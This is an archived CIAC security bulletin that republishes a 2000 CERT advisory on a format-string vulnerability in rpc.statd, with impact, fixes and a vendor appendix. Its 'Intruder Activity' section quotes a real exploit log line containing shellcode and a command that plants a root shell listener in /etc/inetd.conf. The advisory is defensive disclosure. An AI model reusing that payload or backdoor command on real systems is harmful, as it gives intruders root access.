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TUCoPS :: Unix :: General :: ciack069.htm

Input Validation Problem in rpc.statd
Input Validation Problem in rpc.statd Privacy and Legal Notice


K-069: Input Validation Problem in rpc.statd

August 21, 2000 23:00 GMT
PROBLEM:       The rpc.statd passes user-supplied data and without validation
               of this data, a user may supply machine code to be executed
               with the privileges of the rpc.statd process.
PLATFORM:      Systems running the rpc.statd service.
DAMAGE:        By exploiting this vulnerability, local or remote users may be
               able to execute arbitrary code with privileges of the rpc.statd
               process, typically root.
SOLUTION:      Upgrade your version of rpc.statd as indicated below or disable
               the rpc.statd service.

VULNERABILITY The risk is HIGH. The vulnerabilites and exploits have been ASSESSMENT: discussed in public forums.
[ Start of CERT Advisory ] CERT Advisory CA-2000-17 Input Validation Problem in rpc.statd Original release date: August 18, 2000 Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running the rpc.statd service Overview The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see Appendix A of this document for specific information regarding affected distributions. More information about this vulnerability is available at the following public URLs: * * I. Description The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root. Intruder Activity The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring: Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000000000000000000000000000000000000000000000000000000000 000 00000000000000000000000000000000000000000000000000000000000000000000000000000 000 00000000000000000000000000000000000000000000000000000000000000000000000000bff ff7 0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000 000 00000000000000000000000000000000000000000000000000000000000000000000000000000 000 00000000000000000000000000000000000000000000000000000000000000000000000000000 000 0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90> <90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> <90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v<83> <8D>^( <83> <89>^<83> <8D>^.<83> <83> <83>#<89>^ 1<83> <88>F'<88>F*<83> <88>F<89>F+, <89><8D>N<8D>V<80>1<89>@<80>/bin /sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity. II. Impact By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root. III. Solution Upgrade your version of rpc.statd Please see Appendix A of this advisory for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service. Disable the rpc.statd service If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality. Block unneeded ports at your firewall As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary. Appendix A. Vendor Information This section contains information provided by vendors for this advisory. We will update this appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not receive a response from that vendor. Please contact your vendor directly. Berkeley Software Design, Inc. (BSDI) No versions of BSD/OS are vulnerable. Caldera, Inc. Not vulnerable: None of our products ship with rpc.statd Compaq At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's rpc.statd service. Initial tests indicate it is not a potential vulnerability for Compaq supplied software. As further information becomes available Compaq will provide notice of the completion/availability of any necessary patches through AES services (DIA, DSNlink FLASH and posted to the Services WEB page) and be available from your normal Compaq Services Support channel. Debian FreeBSD FreeBSD is not vulnerable to this problem. NetBSD NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this problem; all calls to syslog() within rpc.statd take a constant string for the format argument. OpenBSD *Linux* systems running the rpc.statd service! This affects noone else! RedHat Silicon Graphics, Inc. IRIX rpc.statd is not vulnerable to this security issue. [ End of CERT Advisory ]

CIAC wishes to acknowledge the contributions of CERT/CC for the information contained in this bulletin.

CIAC services are available to DOE, DOE Contractors, and the NIH. CIAC can be contacted at:
    Voice:          +1 925-422-8193 (7 x 24)
    FAX:            +1 925-423-8002
    STU-III:        +1 925-423-2604
    World Wide Web:
                     (same machine -- either one will work)
    Anonymous FTP:
                     (same machine -- either one will work)

This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes.
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